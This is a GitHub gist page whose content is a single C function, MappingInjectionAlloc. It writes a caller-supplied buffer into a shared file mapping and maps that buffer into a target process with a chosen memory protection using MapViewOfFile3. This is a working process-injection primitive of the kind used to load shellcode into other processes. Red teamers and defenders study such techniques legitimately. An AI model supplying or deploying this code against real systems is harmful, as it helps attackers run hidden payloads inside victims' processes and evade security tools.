-
-
Save antonioCoco/6593d85295c64d77848fab412c49c7f6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LPVOID MappingInjectionAlloc(HANDLE hProc, char* buffer, SIZE_T bufferSize, DWORD protectionType) { | |
pMapViewOfFile3 MapViewOfFile3 = (pMapViewOfFile3)GetProcAddress(GetModuleHandleW(L"kernelbase.dll"), "MapViewOfFile3"); | |
HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)bufferSize, NULL); | |
if (hFileMap == NULL) | |
{ | |
printf("CreateFileMapping failed with error: %d\n", GetLastError()); | |
exit(-1); | |
} | |
LPVOID lpMapAddress = MapViewOfFile3(hFileMap, GetCurrentProcess(), NULL, 0, 0, 0, PAGE_READWRITE, NULL, 0); | |
if (lpMapAddress == NULL) | |
{ | |
printf("MapViewOfFile failed with error: %d\n", GetLastError()); | |
exit(-1); | |
} | |
memcpy((PVOID)lpMapAddress, buffer, bufferSize); | |
LPVOID lpMapAddressRemote = MapViewOfFile3(hFileMap, hProc, NULL, 0, 0, 0, protectionType, NULL, 0); | |
if (lpMapAddressRemote == NULL) | |
{ | |
printf("\nMapViewOfFile3 failed with error: %d\n", GetLastError()); | |
exit(-1); | |
} | |
UnmapViewOfFile(hFileMap); | |
CloseHandle(hFileMap); | |
return lpMapAddressRemote; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment